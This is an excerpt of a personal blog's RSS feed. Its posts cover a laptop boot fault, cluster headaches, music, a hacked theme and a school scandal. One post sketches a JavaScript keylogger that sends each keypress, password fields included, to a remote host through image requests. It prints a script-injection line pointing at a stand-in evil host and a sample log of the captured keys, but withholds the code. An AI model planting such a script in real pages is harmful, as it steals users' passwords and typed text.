<p>It will surely be interesting to see how it&#8217;ll develop, <em>literally</em>. <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  </p>
<p>Farewell &#8212; <a href="http://www.ngbasic.com/">may it be in for a nice ride</a>!</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2009/01/26/ng-basic-is-moving/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Acer Aspire 7530 not booting :(</title>
		<link>http://navahogunleg.net/blog/2009/01/13/acer-aspire-7530-not-booting/</link>
		<comments>http://navahogunleg.net/blog/2009/01/13/acer-aspire-7530-not-booting/#comments</comments>
		<pubDate>Tue, 13 Jan 2009 11:22:02 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Computers & Hardware]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=798</guid>
		<description><![CDATA[So I bought myself a new laptop last November &#8212; it seemed a bargain at the time.
And I was really happy with it until the first time it did not want to boot after shutting down.
The first time I push the power button, the lights went on, the fans started to blow out some air; [...]]]></description>
			<content:encoded><![CDATA[<p>So I bought myself a new laptop last November &#8212; it seemed a bargain at the time.</p>
<p>And I was really happy with it until the first time it did not want to boot after shutting down.</p>
<p>The first time I push the power button, the lights went on, the fans started to blow out some air; and then, nothing.</p>
<p>Second time I pushed it, it shows the BIOS booting and then, the screen clears and then&#8230; nothing. </p>
<p>I can push the power button again to turn it off and then the cycle repeats itself. Interestingly is that, when booting the second time, it IS possible to enter the BIOS settings (although rebooting from that shuts down the laptop again). Different settings in the BIOS, resetting to defaults, been there done that to no avail.</p>
<p>Thinking, hey, it&#8217;s a new laptop, perhaps something is loose (memory, etcetera). I opened the case, unseated and re-seated the memory banks. Put the thing together and it booted again.</p>
<p>Yay.</p>
<p>So I keep it running all the time, only to reboot when it&#8217;s really necessary.</p>
<p>The second time it happened, I reseated the memory again: no luck. I grounded myself and touched the metal things on the laptop, for any static electricity to &#8216;go away&#8217;.</p>
<p>I tried to boot: Yay!</p>
<p>The last time it happened, yesterday, I reseated the memory, unloaded the static electricity. </p>
<p>But nothing.</p>
<p>Googled my ass off to discover more folks having the same problem. After reading things about &#8216;resetting&#8217; something power-related by pressing the power button for 30 seconds with the battery and AC detached, decided to give that a shot.</p>
<p>Meanwhile I had moved to laptop to another room (perhaps it was a &#8216;mains&#8217; problem so tried another socket &#8212; one thinks weird things under duress *hehe*), where I had left it, battery and mains detached already incidentally. So I went upstairs, held down that button for about 60 seconds. Tried to boot.. YES it booted.</p>
<p>Linux mentioned stuff about clock skew detected. Oh fsck yeah, I forgot I had reset the BIOS &#8212; had even removed that button-cell battery after reading that solved stuff for some people. So I quickly shutdown again to put the date settings correctly.</p>
<p>I should have done that from within Linux silly me: now it didn&#8217;t want to boot again. </p>
<p>Same problem &#8212; and holding down the button again for 30-60 seconds didn&#8217;t do the trick this time.</p>
<p>Patience seems to solve everything: I left the laptop, again, AC and battery detached for I think may have been 2 hours. Tried to boot it for the heck of it and it did so without problem.</p>
<p>It seems that something has to cool down or something &#8212; as it works after a long time of waiting. Perhaps static electricity, I don&#8217;t know. What I do know is that at that point it is not necessary to hold down the power button for 30+ seconds anymore&#8230;</p>
<p>So if you have this problem, and tried everything except the &#8216;patience&#8217;-hack: try to occupy yourself with something else &#8212; after an hour it may well boot fine!</p>
<p>Hope this may help other folks out there that have been pulling their hairs out over this.</p>
<p><em>Edit</em>: Oh, I forgot to mention I will probably not ever buy an Acer laptop again. I called their support line yesterday around 5 o&#8217;clock. Now, day later, at 11:30, I still haven&#8217;t got a call back. WTF.</p>
<p><em>Edit</em>: Last night my laptop went into sleep mode when I disconnected the AC and closed the lid&#8230; Oh no.  But this morning, having cooled down properly, it booted in one go. No tinkering with memory modules or unloading of static electricity&#8230; Patience solves it. (Problem is, you do not have patience, when you are in a hurry&#8230;)</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2009/01/13/acer-aspire-7530-not-booting/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Public Enemy Millions Tour 2008</title>
		<link>http://navahogunleg.net/blog/2008/12/18/public-enemy-millions-tour-2008/</link>
		<comments>http://navahogunleg.net/blog/2008/12/18/public-enemy-millions-tour-2008/#comments</comments>
		<pubDate>Thu, 18 Dec 2008 07:46:27 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Arts & Poetry]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[The Netherlands]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=796</guid>
		<description><![CDATA[Hey folks&#8230; It has been quiet but this I must share.
This was probably the best concert I&#8217;ve seen in my whole damn life.

Ab-so-fucking-lutely awesome.
]]></description>
			<content:encoded><![CDATA[<p>Hey folks&#8230; It has been quiet but this I <em>must</em> share.</p>
<p>This was probably the best concert I&#8217;ve seen in my whole damn life.</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/emXRCZOB7Ro&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/emXRCZOB7Ro&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p>Ab-so-fucking-lutely awesome.</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2008/12/18/public-enemy-millions-tour-2008/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Paris &#8212; Don&#8217;t Stop The Movement</title>
		<link>http://navahogunleg.net/blog/2008/09/01/paris-dont-stop-the-movement/</link>
		<comments>http://navahogunleg.net/blog/2008/09/01/paris-dont-stop-the-movement/#comments</comments>
		<pubDate>Mon, 01 Sep 2008 11:38:16 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=794</guid>
		<description><![CDATA[I just caught this on guerrillafunk.com:

]]></description>
			<content:encoded><![CDATA[<p>I just caught this on <a href="http://www.guerrillafunk.com">guerrillafunk.com</a>:<br />
<center><a href="http://www.guerrillafunk.com"><img border=0 src="/files/arbanner1.gif" /></a></center></p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2008/09/01/paris-dont-stop-the-movement/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The caffeine might have played a role though&#8230;</title>
		<link>http://navahogunleg.net/blog/2008/08/14/the-caffeine-might-have-played-a-role-though/</link>
		<comments>http://navahogunleg.net/blog/2008/08/14/the-caffeine-might-have-played-a-role-though/#comments</comments>
		<pubDate>Thu, 14 Aug 2008 07:02:53 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Health]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=792</guid>
		<description><![CDATA[So after this, I have been reading more on the condition called Cluster Headaches, and the more I read, the more I recognise. Initially I couldn&#8217;t remember being woken up by these headaches, but I have. The memories of more days in agony came back. I even remember the day I had such a headache [...]]]></description>
			<content:encoded><![CDATA[<p>So after <a href="http://navahogunleg.net/blog/2008/08/13/so-it-wasnt-the-caffeine-after-all/">this</a>, I have been reading more on the condition called Cluster Headaches, and the more I read, the more I recognise. Initially I couldn&#8217;t remember being woken up by these headaches, but I have. The memories of more days in agony came back. I even remember the day I had such a headache and my girlfriend thought I had a dilated pupil.</p>
<p>After reading about Red Bull and coffee (and other high-caffeine drinks) being possible ways to stop or prevent an attack, I have reason to suspect that my heavy coffee drinking might have played a role, though:</p>
<p><em>What if my constant coffee-drinking has always prevented the condition from getting noticed?<br />
</em></p>
<p>So as a means of experiment, I doubled my coffee-intake yesterday (I must say, it has been a while feeling that &#8220;caffeine-buzz&#8221; which I felt after only 4 mugs), to see what would happen that evening. I had one moment that I felt a headache coming up at which moment I took another mug of coffee. </p>
<p>I kept an eye on the clock and 20 o&#8217;clock passed without any headache at all. That seems quite promising, although it&#8217;s difficult to say whether the coffee is really helping, I might have had no painful headaches that day <em>anyway</em>.</p>
<p>(And of course, it&#8217;s still not sure that I really suffer from cluster-headaches, it could just as well be some weird coincidence.)</p>
<p>Today, as part of my little experiment, I&#8217;m dropping back to just 3 mugs again to see what happens.</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2008/08/14/the-caffeine-might-have-played-a-role-though/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>So, it wasn&#8217;t the caffeine after all&#8230;</title>
		<link>http://navahogunleg.net/blog/2008/08/13/so-it-wasnt-the-caffeine-after-all/</link>
		<comments>http://navahogunleg.net/blog/2008/08/13/so-it-wasnt-the-caffeine-after-all/#comments</comments>
		<pubDate>Wed, 13 Aug 2008 07:28:50 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Health]]></category>
		<category><![CDATA[Interesting Links]]></category>
		<category><![CDATA[Clusterheadaches]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=788</guid>
		<description><![CDATA[For most of my (working) life, I have been an avid coffee-drinker almost since the day I first forced that cup down my throat out of politeness and, after a few cups thought that, &#8220;Hey that actually tastes &#038; feels good.&#8220;.

Until, a few of months ago, my stomach started acting up on me after drinking [...]]]></description>
			<content:encoded><![CDATA[<p>For most of my (working) life, I have been an avid coffee-drinker almost since the day I first forced that cup down my throat out of politeness and, after a few cups thought that, &#8220;<em>Hey that actually tastes &#038; feels good.</em>&#8220;.<br />
<img alt="WTF?!" src="http://navahogunleg.net/files/thinkgeek_wtf_mug.jpg" title="WTF!?" width="200" height="144" align=right /></p>
<p>Until, a few of months ago, my stomach started acting up on me after drinking my WTF-mug filled with coffee. Seriously thinking it was the coffee, I started to cut down on my coffee-intake from that day on.</p>
<p>I usually drank about 10 to 12 of those mugs and the days after that was severily reduced to about 2 or 3 mugs: one or two in the morning (to wake up), and one in the evening after dinner.</p>
<p>Having built up a fair dependancy on caffeine; the headaches of course started to get worse. </p>
<p>Somehow, the brain still longs for caffeine &#8212; or the extra water-intake that comes with it &#8212; and your body lets you know it by giving you a headache to cope with. </p>
<p>Now, I used to have these types of headaches a lot, especially in the weekends in which I did not drink as much coffee as I have done during the week. These headaches weren&#8217;t anything &#8220;new&#8221; to me, I have had these long enough to think that it was coffee / caffeine related: if I had them in the evening (which I used to have regularly, somewhere between 19 and 20 o&#8217;clock, I had always fingered caffeine as the one responsible.</p>
<p>If you have drank liters of coffee a day and suddenly reduce that to barely 1 liter of coffee, your body starts to complain, or has a change to get used to. Well, at least mine did. The first couple of weeks were relatively easy, after 2/3 weeks, I started to really feel those &#8216;caffeine-dependancy-headaches&#8217; as I&#8217;ve grown to call those. </p>
<p>The amount and intensity of these slowly reduced, even convincing me I was on the right track cutting down on coffee because the headaches went away.</p>
<p><strong>Cluster Headaches</strong><br />
Now, a buddy of mine has been suffering from a condition called &#8220;cluster headaches&#8221; (<a href="http://en.wikipedia.org/wiki/Cluster_headache">Wikipedia page here</a>) for quite a while now.</p>
<p>Honestly, the first time I heard of this, I think must be 2 years ago by now, I <em>did</em> think it was similar to what I was having &#8212; but I was still too busy blaming caffeine at that point and didn&#8217;t pay it no more mind.</p>
<p>Recently however, the intensity of my headache now increases again: &#8220;attacks&#8221; that last for about an hour, usually a bit less but sometimes even a whole hour longer. </p>
<p>I also noticed a slight difference that I had not felt before: the normal &#8220;caffeine-headache&#8221; I used to have concentrated mostly in the temple &#8212; but these headaches I was also having felt like being stung by something sharp in my eyes from behind at the same time: a subtle difference that I probably haven&#8217;t noticed earlier.</p>
<p>So there I was, earlier this week, lying on the couch, waiting for the pain to pass, when this friend suffering from the condition coincidentally came by our house. I told him about my headache-episode I was having at that time and how it felt. He immediately recognized it &#8212; especially the stingy pain behind the eye which sometimes can be really, <em>really</em> painful, making you want to roll on the floor in pain&#8230;</p>
<p>So, <em>it wasn&#8217;t the caffeine after all</em> and I may have been suffering from this quite some time now. The funny thing is, I have only really starting to get bothered by it the last couple of months, where before I thought it was caffeine related, the pain didn&#8217;t seem to take me out like it does now. It seems like its intensity is increasing over time&#8230;</p>
<p>Oh well, I&#8217;ll see how this pans out&#8230;</p>
<p><strong>Updates</strong><br />
<em>13:30</em>: I discovered <a href="http://www.clusterheadaches.com/">www.clusterheadaches.com</a> and the &#8220;<a href="http://www.clusterheadaches.com/quiz.html">quiz</a>&#8221; there. If I may have been in doubt, I&#8217;m most surely <em>not</em> anymore&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2008/08/13/so-it-wasnt-the-caffeine-after-all/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>In-between-jobs&#8230;</title>
		<link>http://navahogunleg.net/blog/2008/07/04/in-between-jobs/</link>
		<comments>http://navahogunleg.net/blog/2008/07/04/in-between-jobs/#comments</comments>
		<pubDate>Fri, 04 Jul 2008 08:40:12 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=787</guid>
		<description><![CDATA[&#8220;In between jobs&#8220;, I always have wanted to say that. I wish I could say it in another situation though&#8230;
Last month my employer went bankrupt and me and some colleagues haven&#8217;t been payed for a couple of months.
It sucks&#8230;. There&#8217;s the issue of some back-pay that I still have to get back which comes with [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<em>In between jobs</em>&#8220;, I always have wanted to say that. I wish I could say it in another situation though&#8230;</p>
<p>Last month my employer went bankrupt and me and some colleagues haven&#8217;t been payed for a couple of months.</p>
<p>It sucks&#8230;. There&#8217;s the issue of some back-pay that I still have to get back which comes with some paperwork and requires me to go through those old-cardboard boxes I call &#8220;my past&#8221;.. Hopefully I get most of it: 3 months not getting payed kinda drains your bank-account&#8230;. <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />
</p>
<p>So that&#8217;s what&#8217;s been up lately, I just updated my <a href="http://navahogunleg.net/blog/about-navaho-gunleg/my-cv/">CV here</a> and thought I&#8217;d leave this little note. Hopefully things will settle soon though, so I can finally *really* laugh about this shit. <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2008/07/04/in-between-jobs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OMG OMG OMG my theme was hacked!</title>
		<link>http://navahogunleg.net/blog/2008/06/06/omg-omg-omg-my-theme-was-hacked/</link>
		<comments>http://navahogunleg.net/blog/2008/06/06/omg-omg-omg-my-theme-was-hacked/#comments</comments>
		<pubDate>Fri, 06 Jun 2008 08:43:16 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Computers & Hardware]]></category>
		<category><![CDATA[Internet & Technology]]></category>
		<category><![CDATA[Security & Privacy]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=781</guid>
		<description><![CDATA[For fun I was checking out my statistics and discovered that my theme got hacked: the footer and header were replaced, inserting spammy URLs into the outputted page, together with some Google Adsense code.
Yay.
As a result I am now delisted from Google&#8217;s index.  
Apparently, this has been going on for a couple of months, [...]]]></description>
			<content:encoded><![CDATA[<p>For fun I was checking out my statistics and discovered that my theme got hacked: the footer and header were replaced, inserting spammy URLs into the outputted page, together with some Google Adsense code.</p>
<p>Yay.</p>
<p>As a result I am now delisted from Google&#8217;s index. <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Apparently, this has been going on for a couple of months, but I was too busy with actual <em>work</em> so I never read any articles about it on the security-sites I normally occasionally visit.</p>
<p>Oh well, shit happens, and stuff has quickly been cleaned up (thank you, <em>backups</em>!) &#8230; and for safety have upgraded to the latest WordPress version. Not having upgraded a while ago, I was really just waiting for this to happen (yeh, lazy sysadmins et cetera <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> )&#8230;</p>
<p>Seeing that basically the attacker could run any PHP code of his/her choice, which could include calling system binaries to retrieve information about user accounts or passwords. As I can not be a 100% sure about that at this moment, all the passwords have been reset to protect the innocent.</p>
<p>I am curious how long it&#8217;ll take before I get listed on Google again (as I still see Googlebot regularly visit the site)&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2008/06/06/omg-omg-omg-my-theme-was-hacked/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Keylogging in Javascript (or &#8220;Why the fsck does a password field send the keypress value?&#8221;)</title>
		<link>http://navahogunleg.net/blog/2008/05/30/keylogging-in-javascript-or-why-the-fsck-does-a-password-field-send-the-keypress-value/</link>
		<comments>http://navahogunleg.net/blog/2008/05/30/keylogging-in-javascript-or-why-the-fsck-does-a-password-field-send-the-keypress-value/#comments</comments>
		<pubDate>Fri, 30 May 2008 11:39:50 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Ideas & Concepts]]></category>
		<category><![CDATA[Internet & Technology]]></category>
		<category><![CDATA[Security & Privacy]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/2008/05/30/keylogging-in-javascript-or-why-the-fsck-does-a-password-field-send-the-keypress-value/</guid>
		<description><![CDATA[
Disclaimer: The information in here is purely educational, yada yada yada. 
And&#8230; it&#8217;s not people that abuse things who harm people &#8212; it&#8217;s the people that put those things there without thinking.

An explaination: I have always been intrigued by HTML forms. As a paranoid person, I have always wondered whether companies or websites are logging [...]]]></description>
			<content:encoded><![CDATA[<hr/>
<em><strong>Disclaimer:</strong> The information in here is purely educational, yada yada yada. </p>
<p>And&#8230; it&#8217;s not people that abuse things who harm people &#8212; it&#8217;s the people that put those things there without thinking.</em></p>
<hr/>
<p>An explaination: I have always been intrigued by HTML forms. As a paranoid person, I have always wondered whether companies or websites are logging keypresses to their website. Picture the situation where you want to leave feedback at a site&#8230; but finally do not hit the &#8220;Send&#8221; button because of various reasons, like, for instance, the tone was too harsh so you decide not to. For the website it could have been very useful information: <em>unsent</em> comment or feedback may be more valuable than the ones that are actually arriving in their inboxes.</p>
<p>That was quite some time ago &#8212; and I didn&#8217;t give it any more thought until recently&#8230; See, I noticed that, for instance when I have worked the whole day, or the operating system is just acting up, <em>sometimes</em> the wrong window has the <em>focus</em>, and I am happily typing away, seeing nothing appear in the window I was staring at&#8230;. (Yeh, it happens.)</p>
<p>Now, <em>there</em> could be even <em>more</em> valuable information! Interesting bits of text, login names &#8212; or even better, accidentally typed passwords!</p>
<p>With that in my paranoid mind, I started tinkering around with Javascript to see if this is actually possible&#8230; I quickly put together some rather trivial code that captures the <em>KeyboardEvent</em>, inspects it, and collects them all into a string. Through the body&#8217;s <code>onunload</code> I called a routine that displayed an alert saying something like &#8220;Hey, you left these keypresses at this website: <em>the collected string</em>&#8220;.</p>
<p>Using the <code>onunload</code> however has several drawbacks:<br />
- it isn&#8217;t always called (for instance, when the browser crashes),<br />
- it seems the body&#8217;s <code>onunload</code> can only be set when the document is generated, that kinda sucks if you wanted to do be able to do the keylogging by simply loading some remotely stored Javascript file.</p>
<p>The curious and experimenting person that I am, I realised a bad guy would be not <em>collecting</em> the information and printing it &#8212; but would be sending them to a remote machine. Hmm, a <em>remote machine</em>, so AJAX won&#8217;t do&#8230; but there are always <em>images</em>&#8230;. What if I dynamically create an image, with a <code>src</code> pointing to some <em>other</em> website, with the pressed character in the GET request? Nice and simple, right?</p>
<p>OK, so now the keylogger is loaded and active when the following line is somehow inserted into a website:</p>
<blockquote style="padding: 2px 2px 2px 2px; padding-left: 25px; margin: 2px 2px 2px 2px; margin-left: 25px; background: black; color: white;"><p>&lt;script type=&#8221;text/javascript&#8221; src=&#8221;http://someevilmachine/wtfjs.php&#8221;&gt;&lt;/script&gt;
</p></blockquote>
<p>This simple single script, when loaded, attaches itself to the <em>keyPressDown</em> event of the document, of course remembering any old setting so to be able to pass the event through to any &#8220;local&#8221; code on the target website, as an attempt to go &#8220;undetected&#8221;.</p>
<p>Also, modern websites have all kinds of Javascript running, and could do some additional &#8220;setting up&#8221; from Javascript from which the event handlers get set&#8230; In an attempt to take this into account, the logger attaches itself after a delay of a given amount of milliseconds. After that, the moment a keypress event is received in the window, the requests appear in the logfile on the remote website (obligatory dump follows):</p>
<blockquote style="padding: 2px 2px 2px 2px; padding-left: 25px; margin: 2px 2px 2px 2px; margin-left: 25px; background: black; color: white;"><p>GET /temp/wtfimg.php?c=d HTTP/1.1&#8243; 200 &#8211;<br />
GET /temp/wtfimg.php?c=s HTTP/1.1&#8243; 200 &#8211;<br />
GET /temp/wtfimg.php?c=d HTTP/1.1&#8243; 200 -</p></blockquote>
<p>The drawback to the method currently, is that it sends a request with <em>every keystroke made</em>, which may be noticed by the more adept computer user&#8230; it would be possible to send collected strings at a given interval&#8230; But really, <em>actually</em> building a succesful keylogger isn&#8217;t the point; the point was figuring out if it is really doable (which, non-surprisingly, it is).</p>
<p>By the way, I&#8217;m rightly aware of the fact that I am discussing nothing really <em>new</em> here &#8212; this is absolutely no cutting-edge stuff. More interestingly, <em>this has probably already been done by bad guys for ages</em>.</p>
<p>On some websites with many authors that incidentally have the permission to insert Javascript, these &#8220;lower level&#8221; users could be able to catch passwords of administrative users, et cetera.</p>
<p>All-in-all, the <em>only</em> thing I am <em>really</em> frigging flabbergasted at, is the fact that an <code>&lt;input type="password"&gt;</code> actually sends the pressed key in a keypress event&#8230; <em>WTF!?</em> Knowing this, and wanting to &#8220;protect&#8221; a password entry field, I tried it by giving it its own <code>onkeypress</code>-handler&#8230;.. I figured that it would get precendence over the documents&#8217; keypress, but alas, <em>it doesn&#8217;t</em>&#8230; </p>
<p>It seems that there is no way to guard against this, other than to re-set your &#8220;local&#8221; event handlers regularly (which is no solution but a hack!)&#8230;</p>
<p>In conclusion, I really think that the password input type should somehow be prevented from putting <em>any</em> valid information about the pressed key into the KeyboardEvent. I know it&#8217;s used for comparing 2 passwords to validate a user&#8217;s password change for instance &#8212; but some <em>hash</em> could perfectly suffice there. </p>
<p>I am convinced the website-scripter should not ever have to have access to the <em>real password</em> entered in that field from Javascript &#8212; thinking that that could achieve some &#8216;protection&#8217; is a flawed train of thought anyways&#8230;</p>
<p>Oh by the way, if you are looking for code: <em>I will not release it here</em>. It really isn&#8217;t difficult to cook some up yourself.</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2008/05/30/keylogging-in-javascript-or-why-the-fsck-does-a-password-field-send-the-keypress-value/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>There&#8217;s a finch on the top of my roof&#8230;</title>
		<link>http://navahogunleg.net/blog/2008/05/20/theres-a-finch-on-the-top-of-my-roof/</link>
		<comments>http://navahogunleg.net/blog/2008/05/20/theres-a-finch-on-the-top-of-my-roof/#comments</comments>
		<pubDate>Tue, 20 May 2008 08:11:01 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Animals & Nature]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/2008/05/20/theres-a-finch-on-the-top-of-my-roof/</guid>
		<description><![CDATA[For the passed few days there&#8217;s a finch in da hood and it&#8217;s whistling it&#8217;s little feathery bum off. 
It&#8217;s is now sitting on the top of my house whistling and whistling and whistling and whistling and whistling and whistling and whistling and whistling and I wonder where it gets all that energy from&#8230; The [...]]]></description>
			<content:encoded><![CDATA[<p>For the passed few days there&#8217;s a finch in da hood and it&#8217;s whistling it&#8217;s little feathery bum off. </p>
<p>It&#8217;s is now sitting on the top of my house whistling and whistling and whistling and whistling and whistling and whistling and whistling and whistling and I wonder where it gets all that energy from&#8230; The Duracell bunny ain&#8217;t got nothing on that bird!</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2008/05/20/theres-a-finch-on-the-top-of-my-roof/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MC Frontalot &#8212; Secrets From The Future</title>
		<link>http://navahogunleg.net/blog/2008/04/15/mc-frontalot-secrets-from-the-future/</link>
		<comments>http://navahogunleg.net/blog/2008/04/15/mc-frontalot-secrets-from-the-future/#comments</comments>
		<pubDate>Tue, 15 Apr 2008 07:33:55 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Arts & Poetry]]></category>
		<category><![CDATA[Conspiracies]]></category>
		<category><![CDATA[Freedom & Repression]]></category>
		<category><![CDATA[Interesting Links]]></category>
		<category><![CDATA[Internet & Technology]]></category>
		<category><![CDATA[Media, Religion & Politics]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[Security & Privacy]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/2008/04/15/mc-frontalot-secrets-from-the-future/</guid>
		<description><![CDATA[Hey again! Long time no post, I know&#8230;. busy, life, et cetera, but this I just needed to share.
 I was just reading Bruce Schneier&#8217;s CRYPTO-GRAM and he linked to this suprisingly good track (direct link to MP3) by MC Frontalot, called Secrets From The Future (direct link to the lyrics).
To quote the chorus:
You canâ€™t [...]]]></description>
			<content:encoded><![CDATA[<p>Hey again! Long time no post, I know&#8230;. busy, life, et cetera, but this I just <em>needed</em> to share.</p>
<p> I was just reading Bruce Schneier&#8217;s CRYPTO-GRAM and he linked <a href="http://www.frontalot.com/media.php/325/MC_Frontalot_SFTF_(01)_Secrets_From_The_Future.mp3">to this suprisingly good track</a> (direct link to MP3) by MC Frontalot, called <a href="http://www.frontalot.com/index.php/?page=lyrics&#038;lyricid=41">Secrets From The Future</a> (direct link to the lyrics).</p>
<p>To quote the chorus:</p>
<blockquote><p>You canâ€™t hide secrets from the future with math.<br />
You can try, but I bet that in the future they laugh<br />
at the half-assed schemes and algorithms amassed<br />
to enforce cryptographs in the past.</p></blockquote>
<p>I dig it &#8212; I really, <i>really</i> dig it.</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2008/04/15/mc-frontalot-secrets-from-the-future/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.frontalot.com/media.php/325/MC_Frontalot_SFTF_" length="8689664" type="audio/mpeg3" />
		</item>
		<item>
		<title>Everlast &#8211; Letters Home From The Garden Of Stone</title>
		<link>http://navahogunleg.net/blog/2008/02/11/everlast-letters-home-from-the-garden-of-stone/</link>
		<comments>http://navahogunleg.net/blog/2008/02/11/everlast-letters-home-from-the-garden-of-stone/#comments</comments>
		<pubDate>Mon, 11 Feb 2008 07:13:26 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Music]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/2008/02/11/everlast-letters-home-from-the-garden-of-stone/</guid>
		<description><![CDATA[I posted about Everlast upcoming new album earlier, but this weekend I discovered the video for his latest track:

This song makes me want to own a car again &#8230; so that I can play this song on repeat &#8212; really, really frigging loud.
Everlast, Rap, Rock, War, Middle-East
]]></description>
			<content:encoded><![CDATA[<p>I posted about Everlast upcoming new album <a href="http://navahogunleg.net/blog/2008/01/02/everlast-love-war-and-the-ghost-of-whitey-ford/">earlier</a>, but this weekend I discovered the video for his latest track:<br />
<center><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/s0B7iYY-O4Q&#038;rel=1"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/s0B7iYY-O4Q&#038;rel=1" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></center></p>
<p>This song makes me want to own a car again &#8230; so that I can play this song on repeat &#8212; really, <em>really</em> frigging loud.</p>
<p><tags>Everlast, Rap, Rock, War, Middle-East</tags></p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2008/02/11/everlast-letters-home-from-the-garden-of-stone/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Hey! Teacher! Leave those kids alone!</title>
		<link>http://navahogunleg.net/blog/2008/01/30/hey-teacher-leave-those-kids-alone/</link>
		<comments>http://navahogunleg.net/blog/2008/01/30/hey-teacher-leave-those-kids-alone/#comments</comments>
		<pubDate>Wed, 30 Jan 2008 07:25:36 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Conspiracies]]></category>
		<category><![CDATA[Freedom & Repression]]></category>
		<category><![CDATA[Random Rantings]]></category>
		<category><![CDATA[Sad Stuff]]></category>
		<category><![CDATA[The Netherlands]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/2008/01/30/hey-teacher-leave-those-kids-alone/</guid>
		<description><![CDATA[So a couple of weeks ago I heard the news that, on my old &#8220;high-school&#8221;, a teacher was put on non-active because he was having a sex-chat with a 12 year old girl on the internet while his laptop-screen contents were beamed onto a big screen in front of the entire classroom. (Dutch article here.)
Interestingly, [...]]]></description>
			<content:encoded><![CDATA[<p>So a couple of weeks ago I heard the news that, on my old &#8220;high-school&#8221;, a teacher was put on non-active because he was having a sex-chat with a 12 year old girl on the internet <em>while his laptop-screen contents were beamed onto a big screen in front of the entire classroom</em>. (Dutch article <a href="http://www.depers.nl/binnenland/160611/Klas-kijkt-naar-seks-chat-leraar.html">here</a>.)</p>
